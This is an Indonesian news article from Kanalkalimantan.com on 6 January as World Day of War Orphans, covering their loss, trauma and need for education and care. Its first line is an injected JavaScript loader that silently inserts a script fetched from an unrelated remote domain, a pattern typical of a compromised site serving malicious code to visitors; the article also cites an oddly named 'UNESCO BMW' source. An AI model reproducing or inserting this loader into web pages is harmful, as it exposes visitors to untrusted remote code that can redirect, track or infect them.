(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

6 Januari : Hari Anak Yatim Korban Perang se Dunia

KANALKALIMANTAN.COM – 6 Januari diperingati sebagai Hari Anak Yatim Korban Perang se Dunia. Momentum hari ini diperingati dengan tujuan untuk meningkatkan kesadaran tentang perjuangan anak-anak yang menjadi yatim akibat perang dan konflik.

Meski asal-usulnya tidak terdokumentasi dengan luas, peringatan ini menyoroti dampak perang pada anak-anak. Mereka merupakan kelompok paling rentan, dan menekankan kebutuhan mereka akan perawatan, pendidikan, dan perlindungan.

Melansir dari laman resmi UNESCO BMW, pada setiap tanggal 6 Januari mengajak dunia untuk tidak melupakan anak-anak yatim akibat perang. Anak-anak yatim perang menghadapi berbagai tantangan, seperti kehilangan keluarga, trauma emosional, dan kemiskinan.

Mereka juga menghadapi kurangnya akses terhadap kebutuhan dasar seperti pendidikan dan layanan kesehatan. Peringatan ini menjadi pengingat akan penderitaan mereka dan pentingnya memperjuangkan hak serta kesejahteraan mereka.

Dengan mendukung anak-anak ini, kita berkontribusi untuk memutus siklus kemiskinan dan konflik yang memperburuk kehidupan mereka. Hari ini juga mendorong individu, organisasi, dan pemerintah untuk mengambil tindakan kolektif guna mendukung anak yatim perang.

Menjadi platform untuk mengakui ketahanan mereka dan kebutuhan mendesak akan bantuan kemanusiaan, dukungan psikologis, serta kesempatan pendidikan. Peringatan ini memperkuat komitmen global untuk memastikan bahwa tidak ada anak yang tertinggal, terlepas dari kondisi mereka. (Kanalkalimantan.com/kk)

Editor: kk